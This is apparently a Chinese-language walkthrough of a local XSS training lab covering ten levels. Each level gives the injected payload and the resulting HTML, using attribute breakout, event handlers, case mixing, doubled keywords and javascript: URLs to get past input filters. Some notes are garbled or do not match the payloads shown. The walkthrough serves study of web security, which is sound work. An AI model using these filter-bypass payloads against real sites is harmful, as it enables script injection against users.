第一关

localhost:8083/xss/level1.php?name=test<script>alert(1)</script>

第二关

源码

文本框输入js代码,查看源码

由于第一个,[<]被转义,因此在第二个里试
源代码的样式
<input name=keyword value=" ">
插入的代码
"><script>alert(1)</script><a class="
完整显示的代码
<input name=keyword value=""><script>alert(1)</script><a class="">

第三关
"><script>alert(1)</script><aclass="

第二个也对[<]做了转义,是单引号
<input name=keyword value=' '>' onfocus='alert(1)<input name=keyword value='' onfocus='alert(1)'>

第四关

双引号
<input name=keyword value=" ">" onfocus="alert(1)<input name=keyword value="" onfocus="alert(1)">

第五关

双引号,对on进行过滤
"><ScRiPt>alert(1)</script><a class="

对script进行过滤
<input name=keyword value=" ">"><a href="javascript:alert(1)">点击我</a class="<input name=keyword value=" "><a href="javascript:alert(1)">点击我</a class=" ">

第六关

对href进行了过滤
<input name=keyword value=" ">"><ScRiPt>alert(1)</script><a class="<input name=keyword value=""><ScRiPt>alert(1)</script><a class="">

第七关

<input name=keyword value=" ">"><scrscriptipt>alert(1)</scscriptript><a class="<input name=keyword value=""><scrscriptipt>alert(1)</scscriptript><a class="">

第八关

对script进行了过滤
使用伪事件(用tab进行反过滤)
<a href=" ">javasc ript:alert(1)<a href="javasc ript:alert(1)">

第九关

发现只有使用http://,且他们为完整的就行
伪事件(将r转化为10进制)
<a href=" ">javascript:alert('http://')<a href="javascript:alert('http://')">

第十关

有三个input标签被隐藏,在url上看看
?keyword=well done!&t_link=111&t_history=222&t_sort=333

第三个input标签有显示,在这个上面想方法
<input name="t_sort" value="333" type="hidden">&t_sort=333" onclick=alert(1) type="text<input name="t_sort" value="333" onclick=alert(1)type="text " type="hidden">
把input显示出来
